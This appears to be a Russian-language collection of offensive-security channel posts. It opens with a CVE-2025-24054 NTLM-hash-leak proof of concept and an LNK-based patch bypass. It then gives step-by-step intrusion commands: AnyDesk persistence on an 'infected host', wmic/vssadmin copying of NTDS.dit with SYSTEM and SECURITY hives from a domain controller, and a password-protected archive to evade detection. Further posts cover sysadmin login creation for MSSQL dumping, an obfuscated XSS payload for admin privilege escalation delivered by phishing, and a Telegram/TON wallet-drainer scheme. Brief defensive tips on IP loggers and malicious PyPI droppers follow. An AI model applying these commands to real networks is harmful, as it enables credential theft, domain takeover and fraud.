CVE-2025-24054: Раскрытие хешей NTLMv2-SSP в Windows File Explorer без взаимодействия пользователя

Репозиторий содержит доказательство концепции (PoC) для уязвимости CVE-2025-24054, позволяющей раскрывать NTLMv2-SSP хэш пользователя через автоматическую обработку UNC-путей в Windows Explorer при предпросмотре ZIP-архивов с вредоносными файлами, либо при его распаковке или взаимодействия с ним.

Ключевые механизмы эксплуатации:
Основная логика CVE заключалась в использовании файлов .searchConnector-ms (XML-формат) с UNC-путями в элементах simpleLocation или searchConnectorDescription. Windows Search Indexer и Explorer автоматически разрешают UNC, обходя защиту Mark-of-the-Web (MOTW), что приводит к инициации SMB-аутентификации на сервере, контролируемом атакующим и последующему захвату NTLMv2-SSP хешей

Детали патча от Microsoft
11 марта 2025 года Microsoft выпустила обновление безопасности для уязвимости CVE-2025-24054. Патч адресовал исходный вектор атаки на основе .searchConnector-ms файлов, усиливая проверку и блокируя автоматическое разрешение UNC-путей в XML-структурах во время предпросмотра архивов

Подробная информация - Windows 11 версии 24H2 патч поставляется под номером KB5053598

Обход патча:
В скрипте я реализовал альтернативный вектор атаки на основе LNK-файлов для этой CVE (см. CVE-2025-50154 / CVE-2025-59214). Обход использует LNK-файлы с UNC в TargetPath и локальными иконками для эвэйда детекции. Генерация PoC осуществляется через PowerShell-скрипт patch_bypass.ps1 с параметрами для кастомизации (IP атакующего, имя шары, имя файла-приманки). Это позволяет обходить патч, сохраняя zero-click природу эксплуатации

📌 Демонстрация уязвимостей и исходный код: https://github.com/Untouchable17/CVE-2025-24054

Закреп через AnyDesk

1. Запускаем скрипт в PowerShell ISE с правами администратора (на зараженном хосте)
2. На выходе получаем AnyDesk ID - сохраняем его
3. На своей машине (дедике\впс\виртуалке):
- Устанавливаем AnyDesk
- Вводим полученный ID
- Жмем "Console Account"
- Используем пароль: SomePassword123 (тот, что был указан в коде при запуске скрипта на зараженном хосте)

4. Далее авторизовываемся локальным админом либо доменной учеткой

5. Возможности с AnyDesk:
- Передача файлов между машинами
- Точечный поиск документации
- Удаленное управление

Метод беспалевного дампа NTDS через VSS

wmic /node:"DC01" /user:"DOMAIN\admin" /password:"test123" process call create "cmd /c vssadmin list shadows >> c:\log.txt"

Выполняет удалённый запуск на компьютере DC01 (который является контроллером домена или другим сервером) с использованием учётной записи DOMAIN\admin и пароля "test123". А vssadmin list shadows выводит список существующих теневых копий томов

На DC чаще всего уже включен VSS, если нет, то создаем сами

net start Volume Shadow Copy
wmic /node:"DC01" /user:"DOMAIN\admin" /password:"test123" process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

В выводе листинг шэдоус находим самую свежую, тобиш номер теневой копии

Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1337 - 1337 копируем номер для следующей команды

Копирование файлов из теневой копии

wmic /node:"DC01" /user:"DOMAIN\admin" /password:"test123" process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1337\Windows\NTDS\NTDS.dit c:\temp\vss_log\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1337\Windows\System32\config\SYSTEM c:\temp\vss_log\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1337\Windows\System32\config\SECURITY c:\temp\vss_log\"

Результат: В папке c:\temp\vss_log\ появятся файлы:
1. ntds.dit
2. SECURITY
3. SYSTEM

Далее паркуем вывод в архив, условно тот же 7z возьмем для удобства:
7za.exe a -tzip -mx5 \\DC01\C$\temp\vss_log.zip \\DC01\C$\temp\vss_log -p password1337

После выкачиваем все на свою хостовую тачку и если при распаковке NTDS получаем ошибку, по типу "файл поврежден" выполняем эту команду Esentutl /p C:\path_to_files\ntds.dit

Удобство такого способа в том, что мы фактически не выполняем дамп, а просто выкачиваем NTDS, а чтобы не спалиться перед выкачиваем - пакуем файл в архив с паролем. Обнаружить можно только по факту передачи данных с контроллера домена, но без пароля от архива невозможно доказать, что передается именно NTDS. Поэтому, используйте этот метод если стандартный дамп NTDS детектится и вас выкидывает из сети. Этот способ спалить можно, разве что, самим фактом какой-то утекающей даты с контроллера домена, причём проанализировать что именно вы тащите не зная пароль от архива невозможно

К новому году остаемся без подарков получается

Разведка в Active Directory

Батник использует adfind.exe для массового сбора данных из AD через LDAP-запросы
Что извлекается
- Все пользователи
- Компьютеры домена
- Организационные подразделения
- Доверительные связи доменов
- Подсети

Иными словами, более легкий аналог bloodhound для выкачивания ад через ldap, где полученные данные готовят карту домена для разных атак

Дампим базы MSSQL (требуется учетка от mssql или да)

1: Создаём sysadmin-учётку (любой из вариантов) в mssql

Вариант А (быстрее, если работает):

nxc smb 10.10.10.1 -u 'Administrator' -p 'password!' -M mssql --create-user --username 'test' --password 'test'

Вариант Б (если А не сработало):

nxc smb 10.10.10.1 -u Administrator -p "admin" -X 'sqlcmd -S localhost -Q "CREATE LOGIN [your_login_here] WITH PASSWORD = ''password_here''; ALTER SERVER ROLE sysadmin ADD MEMBER [your_login_here];"'

2: Далее цепляемся к бд через mssqlclient.py
- mssqlclient.py login:'password'@10.10.10.1 -windows-auth

3: Запрашиваем список всех таблиц в базе (фильтруем системные, чтобы не тратить время):
- SELECT name FROM sys.databases WHERE name NOT IN ('master', 'tempdb', 'model', 'msdb');
либо (внутри оболочки): SQL> SELECT name FROM sys.databases WHERE database_id > 4; - копируем всё, что выпало

4: Получаем shell/WinRM/RDP на машине и дропаем туда готовый ps скрипт

Trust Chain Hijack: как REST API позволила провести эскалацию привилегий через междоменную уязвимость

Атака, использующая уязвимость отраженного XSS в доверенном поддомене для обхода CSP и эксплуатации REST API, обнаруженного через утечку документации. Цепочка атаки демонстрирует, как злоумышленник может использовать доверительные отношения между поддоменами и недостаточную изоляцию API для эскалации привилегий без прямого доступа к системе

Разведка началась стандартно: поддомены, порты, дорки. Ничего необычного, пока не выплёвывается интересный поддомен static.COMPANY.com с файлом api-provider.min.js.map. В файле вижу содержимое такого типа:

apiSpec: {
  openapi: "***",
  info: {
    title: "***",
    version: "v2"
  },
  url: "https://backend-api.COMPANY.com/api/v2/docs",
  ...

В коде обнаружился блок конфигурации с явной ссылкой на внутреннюю документацию, однако прямой запрос на https://backend-api.COMPANY.com/api/v2/docs или попытки его фаззинга, приводили к 404 ошибке, пошел смотреть индексацию и нахожу слепок N-года, а внутри код опенапи, если точнее - спефикация сваггера. В этом же разделе был указан эндпоинт, отвечающий за модификацию учетки пользователя, в частности, его привилегий (role_id), но с обычной учеткой ничего не поддавалось изменению (недостаточно прав), требовалась сессия более привилегированного пользователя, иначе говоря, сессия администратора. Поэтому я решил найти более подходящий вектор для этой атаки

Фронтенд имел относительно строгую CSP: default-src 'self'; script-src 'self' *.COMPANY.com; connect-src 'self' backend-api.COMPANY.com;. Это запрещало произвольные внешние запросы, но разрешало запросы из доверенных поддоменов (да, можно и стянуть любой поддомен, ибо стяжка динамическая, а не фиксированный диапазон)

На поддомене lib.COMPANY.com нашёл отражённую XSS в параметре topic - пользовательский ввод отражался в ответе без надёжной санитизации, немного колдовства, да и только. А поскольку этот поддомен находился в пределах доверенных источников CSP, из этого следовало, что скрипт в его контексте имеет право делать fetch/XHR к backend-api.COMPANY.com и использовать куки текущей сессии, например, если админ откроет страницу будучи залогиненным, достаточно будет заставить браузер администратора инициировать нужный запрос. Как я сказал, запросы на внешние ресурсы блочатся и надо проводить операцию в пределах скоупа CSP

1. Сначала подготовил примерно такую нагрузку (не poc, а похожая логика, фулл нагрузку не буду приводить):

(function(){var x=new XMLHttpRequest();x.open("PUT","https://backend-api.COMPANY.com/api/v2/users/update",true);x.setRequestHeader("Content-Type","application/json");x.withCredentials=true;x.send(JSON.stringify({"user_id":"***","role_id":"1"}));})();

2. Закодировал ее в base64 и обернул :

eval(atob('KGZ1bmN0aW9uKCl7dmFyIHg9bmV3IFhNTEh..'))

3. Финальный результат:

https://lib.COMPANY.com/q?topic=%22-fetch(eval.call%24%7B'eval%5Cx28atob%5Cx28%22BASE64_ЗАКОДИРОВАННЫЙ%22%5Cx29%5Cx29'%7D)//%22

Следующий этап - доставка нагрузки администратору/администраторам, поскольку вариантов доставки много, я выбрал наиболее оптимальный - отправка фишингового письма (детали нельзя разглашать - тут чисто ваша фантазия и подход к человеку), где нагрузка была в виде гиперссылки. Ну и соответственно, спустя N-количество времени, я все-таки получил права в системе, когда админ, под своей учеткой, удосужился перейти по ссылке

Не самый распространенный, но интересный вектор для целевой атаки

Краткий вывод: атакующий запускает персонализированный фишинг через Telegram Mini-App: присылает официально выглядящее предложение с deeplink startapp, WebView загружает клон интерфейса (копию Fragment), подключает TON-интеграции (TON Connect / Tonkeeper) и добивается либо ввода сид/ключа, либо подписи транзакции/approve - в результате средства или контроль над NFT/allowance переходят атакующему

Атакующий реализует персонифицированный фишинг, где отправляет предложение о покупке логина, где, после непродолжительной беседы и торгов, атакующий пересылает сообщение-уведомление от якобы официального бота, прикрепляя к нему инлайн-кнопку на Telegram Mini-App, подгружающее внешнее dApp-приложение, имитирующее официальную площадку Fragment, ссылка в формате:

https://t.me/<bot>/... ?startapp=<логин>-<идентификтатор>

Параметр ?startapp=<логин> выполняет социнжиниринговую роль - при запуске мини-приложения WebView получает этот параметр и динамически вставляет целевой ник в заготовленный шаблон площадки Fragment и пользователь видит персонализированный интерфейс, полностью стилизованный под официальную площадку

В загружаемом коде присутствуют библиотеки/хелперы для работы с TON (условно tonconnect, tonweb или Tonkeeper hooks, как в этом случае) либо самописная логика, эмулирующая их API. UI предлагает подключить кошелёк и далее подтвердить получение средств. При попытке подключения запускается flow TON Connect / Tonkeeper: браузер/кошелёк получает запрос на соединение, а затем - запрос на подпись

Далее код приложения подгружает заготовленную нагрузку для подписи: либо прямую транзакцию, либо апрув (позволяющий контракту/спендору списывать токены в будущем), либо произвольное сообщение на подпись (что может использоваться для авторизации действий в других сервисах). В UI это кажется подтверждением сделки, но фактически пользователь подписывает операцию, дающую доступ атакующему к активам

Атакующий дополнительно прикладывает ссылку на блок-эксплорер (например tonviewer.com/...) и/или короткое демонстрационное видео (что я часто сейчас наблюдаю) - это таки микропрогрев для повышения доверия; наличие адреса в блок-эксплорере не подтверждает легитимность - это просто адрес и баланс

Мануал для параноиков: защита от IP-трекеров в ссылках

Часто начал замечать, как граждане дошкольного и школьного возраста раскрывают адреса пользователей при переходе по ссылкам, для примера возьмем телегу с возможностью создания ссылок с "двойным дном" (aka гиперссылка) - внешне безобидный ресурс маскирует логгер, раскрывая IP жертвы при клике, где невнимательность приводит к деанонимизации (для понимания, динамический адрес может раскрывать город, область или регион провайдера - что в целом дает базовое представление об ареале обитания пользователя)

Для базового решения этой проблемы можно воспользоваться методом модификации hosts файла, эффективно обманывая IP-логгеры вроде iplogger или grabify, перенаправляя их запросы на несуществующий IP, и как следствие, наш браузер стучится в никуда, а сам запрос отсеивается

Работает метод на Linux (/etc/hosts) и Windows (C:\Windows\System32\drivers\etc\hosts)

1.3.3.7  iplogger.com
1.3.3.7  maper.info
1.3.3.7  iplogger.ru
1.3.3.7  iplogger.co
1.3.3.7  2no.co
1.3.3.7  yip.su
....

Метод с hosts-файлом хорош для массовой защиты, но не ловит новые или редкие ссылки. Здесь dnsmasq с DNS-подменой и wildcard (на примере *iplogger.com) решает проблему автоматически без ручного листинга сотен доменов

Dnsmasq работает как локальный DNS-сервер: ловит все поддомены, масштабируется на тысячи трекеров, подходит для всей сети (роутер, несколько устройств), хорошая динамика, поддержка wildcard подстановки

В одном из недавних расследований наткнулся на хитрый вектор атаки - цепочка заражений через PyPI и requirements.txt из github репозиториев. Злоумышленники заливают в PyPI вредоносные пакеты с похожими именами (атака типа typosquatting) или подменяют популярные либы, а потом рассылают зараженные requirements.txt/setup.py по публичным репам. Даже обычные разрабы попадают в такую ловушку, слепо клонируя репозитории и выполняя тот же pip install -r requirements.txt или pip install <lib> без проверки сурсов или анализа

На скрине один из примеров, что мне недавно попался - интересный dropper/persistence мальвар для Linux систем. Скрипт скачивает исполняемый файл с удаленного сервера, делает его исполняемым и добавляет автозапуск в .bashrc

Идеальный foothold в CI/CD dev-окружениях. Один git clone и закреп на хосте. Поэтому, старайтесь проверять requirements.txt / setup.py перед установкой